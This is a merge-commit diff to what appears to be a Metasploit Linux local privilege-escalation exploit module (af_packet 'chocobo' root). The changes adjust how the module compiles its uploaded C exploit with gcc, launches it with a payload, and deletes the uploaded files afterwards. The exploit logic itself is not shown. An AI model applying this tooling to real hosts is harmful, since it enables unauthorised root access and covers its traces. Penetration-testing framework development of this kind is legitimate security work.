Merge pull request #6 from timwr/pr-9987

Fix gcc path and file cleanup

Author: bcoles

modules/exploits/linux/local/af_packet_chocobo_root_priv_esc.rb

@@ -83,7 +83,6 @@ def upload(path, data)
     print_status "Writing '#{path}' (#{data.size} bytes) ..."
     rm_f path
     write_file path, data
-    register_file_for_cleanup path
   end
 
   def upload_and_chmodx(path, data)
@@ -93,15 +92,20 @@ def upload_and_chmodx(path, data)
 
   def upload_and_compile(path, data)
     upload "#{path}.c", data
-    output = cmd_exec "gcc -o #{path} #{path}.c -lpthread"
+
+    gcc_cmd = "gcc -o #{path} #{path}.c -lpthread"
+    if session.type.eql? 'shell'
+      gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}"
+    end
+    output = cmd_exec gcc_cmd
+    rm_f "#{path}.c"
 
     unless output.blank?
       print_error output
       fail_with Failure::Unknown, "#{path}.c failed to compile"
     end
 
     cmd_exec "chmod +x #{path}"
-    register_file_for_cleanup path
   end
 
   def exploit_data(file)
@@ -189,5 +193,8 @@ def exploit
     print_status "Launching exploit (Timeout: #{timeout})..."
     output = cmd_exec "echo '#{payload_path} & exit' | #{executable_path}", nil, timeout
     output.each_line { |line| vprint_status line.chomp }
+    print_status "Cleaning up #{payload_path} and #{executable_path}.."
+    rm_f executable_path
+    rm_f payload_path
   end
 end